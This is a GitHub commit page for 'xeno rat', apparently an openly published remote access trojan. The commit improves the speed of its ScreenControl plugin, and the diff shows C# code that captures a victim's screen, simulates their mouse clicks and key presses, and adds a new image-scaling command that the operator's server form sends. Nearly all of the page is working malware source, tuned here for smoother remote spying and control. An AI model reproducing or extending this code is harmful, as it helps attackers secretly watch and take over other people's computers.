Skip to content

Commit 40a7fcd

Browse files
author
moom825
committed
improved screencontrol speed and fixed a minor bug
1 parent 0bd6e01 commit 40a7fcd

File tree

4 files changed

+68
-28
lines changed

4 files changed

+68
-28
lines changed

Plugins/ScreenControl/ScreenControl.cs

Lines changed: 33 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -20,6 +20,7 @@ public class Main
2020
bool playing = false;
2121
int quality = 100;
2222
int moniter_index = -1;
23+
double scale = 1;
2324
public async Task Run(Node node)
2425
{
2526
await node.SendAsync(new byte[] { 3 });//indicate that it has connected
@@ -115,7 +116,6 @@ public async Task Run(Node node)
115116
}
116117
else if (data[0] == 11)
117118
{
118-
119119
int x = node.sock.BytesToInt(await node.ReceiveAsync());
120120
int y = node.sock.BytesToInt(await node.ReceiveAsync());
121121
Point coords = new Point(x + Screen.AllScreens[moniter_index].Bounds.X, y + Screen.AllScreens[moniter_index].Bounds.Y);
@@ -126,6 +126,10 @@ public async Task Run(Node node)
126126
int keyCode = node.sock.BytesToInt(await node.ReceiveAsync());
127127
InputHandler.SimulateKeyPress(keyCode);
128128
}
129+
else if (data[0] == 13)
130+
{
131+
scale=(double)node.sock.BytesToInt(await node.ReceiveAsync())/10000.0;
132+
}
129133
}
130134
catch (Exception ex)
131135
{
@@ -158,7 +162,7 @@ public async Task ScreenShotThread()
158162

159163
byte[] data = await Task.Run(() =>
160164
{
161-
return ScreenshotTaker.TakeScreenshot(quality, moniter_index, true);
165+
return ScreenshotTaker.TakeScreenshot(quality, moniter_index, true, scale);
162166
});
163167
await ImageNode.SendAsync(data);
164168
}
@@ -328,7 +332,7 @@ struct POINTAPI
328332

329333
const Int32 CURSOR_SHOWING = 0x00000001;
330334

331-
public static byte[] TakeScreenshot(int quality, int screenIndex, bool captureCursor)
335+
public static byte[] TakeScreenshot(int quality, int screenIndex, bool captureCursor, double scaleImageSize = 1)
332336
{
333337
Screen[] screens = Screen.AllScreens;
334338

@@ -346,37 +350,41 @@ public static byte[] TakeScreenshot(int quality, int screenIndex, bool captureCu
346350
int screenWidth = (int)(selectedScreen.Bounds.Width * scalingFactor);
347351
int screenHeight = (int)(selectedScreen.Bounds.Height * scalingFactor);
348352

349-
using (Bitmap bitmap = new Bitmap(screenWidth, screenHeight, PixelFormat.Format24bppRgb))
353+
Bitmap bitmap = new Bitmap(screenWidth, screenHeight, PixelFormat.Format24bppRgb);
354+
using (Graphics graphics = Graphics.FromImage(bitmap))
350355
{
351-
using (Graphics graphics = Graphics.FromImage(bitmap))
356+
graphics.CopyFromScreen(screenLeft, screenTop, 0, 0, bitmap.Size, CopyPixelOperation.SourceCopy);
357+
358+
if (captureCursor)
352359
{
353-
graphics.CopyFromScreen(screenLeft, screenTop, 0, 0, bitmap.Size, CopyPixelOperation.SourceCopy);
360+
CURSORINFO pci;
361+
pci.cbSize = Marshal.SizeOf(typeof(CURSORINFO));
354362

355-
if (captureCursor)
363+
if (GetCursorInfo(out pci))
356364
{
357-
CURSORINFO pci;
358-
pci.cbSize = Marshal.SizeOf(typeof(CURSORINFO));
359-
360-
if (GetCursorInfo(out pci))
365+
if (pci.flags == CURSOR_SHOWING)
361366
{
362-
if (pci.flags == CURSOR_SHOWING)
363-
{
364-
DrawIcon(graphics.GetHdc(), pci.ptScreenPos.x - screenLeft, pci.ptScreenPos.y - screenTop, pci.hCursor);
365-
graphics.ReleaseHdc();
366-
}
367+
DrawIcon(graphics.GetHdc(), pci.ptScreenPos.x - screenLeft, pci.ptScreenPos.y - screenTop, pci.hCursor);
368+
graphics.ReleaseHdc();
367369
}
368370
}
371+
}
369372

370-
EncoderParameters encoderParams = new EncoderParameters(1);
371-
encoderParams.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, quality);
372-
373-
ImageCodecInfo codecInfo = GetEncoderInfo(ImageFormat.Jpeg);
373+
EncoderParameters encoderParams = new EncoderParameters(1);
374+
encoderParams.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, quality);
374375

375-
using (MemoryStream stream = new MemoryStream())
376-
{
377-
bitmap.Save(stream, codecInfo, encoderParams);
378-
return stream.ToArray();
379-
}
376+
ImageCodecInfo codecInfo = GetEncoderInfo(ImageFormat.Jpeg);
377+
if (scaleImageSize != 1)
378+
{
379+
Bitmap resized = new Bitmap(bitmap, new Size((int)(bitmap.Width*scaleImageSize), (int)(bitmap.Height * scaleImageSize)));
380+
bitmap.Dispose();
381+
bitmap = resized;
382+
}
383+
using (MemoryStream stream = new MemoryStream())
384+
{
385+
bitmap.Save(stream, codecInfo, encoderParams);
386+
bitmap.Dispose();
387+
return stream.ToArray();
380388
}
381389
}
382390
}

xeno rat server/Forms/ScreenControl.Designer.cs

Lines changed: 3 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

xeno rat server/Forms/ScreenControl.cs

Lines changed: 29 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,13 +2,15 @@
22
using System.Collections.Generic;
33
using System.ComponentModel;
44
using System.Data;
5+
using System.Diagnostics;
56
using System.Drawing;
67
using System.IO;
78
using System.Linq;
89
using System.Text;
910
using System.Threading;
1011
using System.Threading.Tasks;
1112
using System.Windows.Forms;
13+
using static System.Net.Mime.MediaTypeNames;
1214

1315
namespace xeno_rat_server.Forms
1416
{
@@ -93,6 +95,7 @@ public async Task SetQuality(int quality)
9395
await client.SendAsync(new byte[] { 3 });
9496
await client.SendAsync(client.sock.IntToBytes(quality));
9597
}
98+
9699
public async Task SetMonitor(int monitorIndex)
97100
{
98101
monitor_index = monitorIndex;
@@ -101,7 +104,26 @@ public async Task SetMonitor(int monitorIndex)
101104
int Width = client.sock.BytesToInt(await client.ReceiveAsync());
102105
int Height = client.sock.BytesToInt(await client.ReceiveAsync());
103106
current_mon_size = new Size(Width, Height);
107+
UpdateScaleSize();
104108
}
109+
110+
public async Task UpdateScaleSize()
111+
{
112+
if (pictureBox1.Width > ((Size)current_mon_size).Width || pictureBox1.Height > ((Size)current_mon_size).Height)
113+
{
114+
await client.SendAsync(new byte[] { 13 });
115+
await client.SendAsync(client.sock.IntToBytes(100));
116+
}
117+
else
118+
{
119+
double widthRatio = (double)pictureBox1.Width/ (double)((Size)current_mon_size).Width ;
120+
double heightRatio = (double)pictureBox1.Height / (double)((Size)current_mon_size).Height;
121+
int factor = (int)(Math.Max(widthRatio, heightRatio)*10000.0);
122+
await client.SendAsync(new byte[] { 13 });
123+
await client.SendAsync(client.sock.IntToBytes(factor));
124+
}
125+
}
126+
105127
public async Task RecvThread()
106128
{
107129
while (ImageNode.Connected())
@@ -116,10 +138,10 @@ public async Task RecvThread()
116138
try
117139
{
118140

119-
Image image;
141+
System.Drawing.Image image;
120142
using (MemoryStream ms = new MemoryStream(data))
121143
{
122-
image = Image.FromStream(ms);
144+
image = System.Drawing.Image.FromStream(ms);
123145
}
124146
pictureBox1.BeginInvoke(new Action(() =>
125147
{
@@ -392,5 +414,10 @@ private void checkBox1_CheckedChanged(object sender, EventArgs e)
392414
checkBox1.Text = "Disabled";
393415
}
394416
}
417+
418+
private void pictureBox1_SizeChanged(object sender, EventArgs e)
419+
{
420+
UpdateScaleSize();
421+
}
395422
}
396423
}

xeno rat server/xeno rat server.csproj

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -94,7 +94,9 @@
9494
<Reference Include="Newtonsoft.Json, Version=13.0.0.0, Culture=neutral, PublicKeyToken=30ad4fe6b2a6aeed, processorArchitecture=MSIL">
9595
<HintPath>packages\Newtonsoft.Json.13.0.3\lib\net45\Newtonsoft.Json.dll</HintPath>
9696
</Reference>
97-
<Reference Include="System" />
97+
<Reference Include="System">
98+
<HintPath>..\..\..\..\..\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.8\System.dll</HintPath>
99+
</Reference>
98100
<Reference Include="System.AppContext, Version=4.1.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
99101
<HintPath>packages\System.AppContext.4.3.0\lib\net463\System.AppContext.dll</HintPath>
100102
<Private>True</Private>

0 commit comments

Comments
 (0)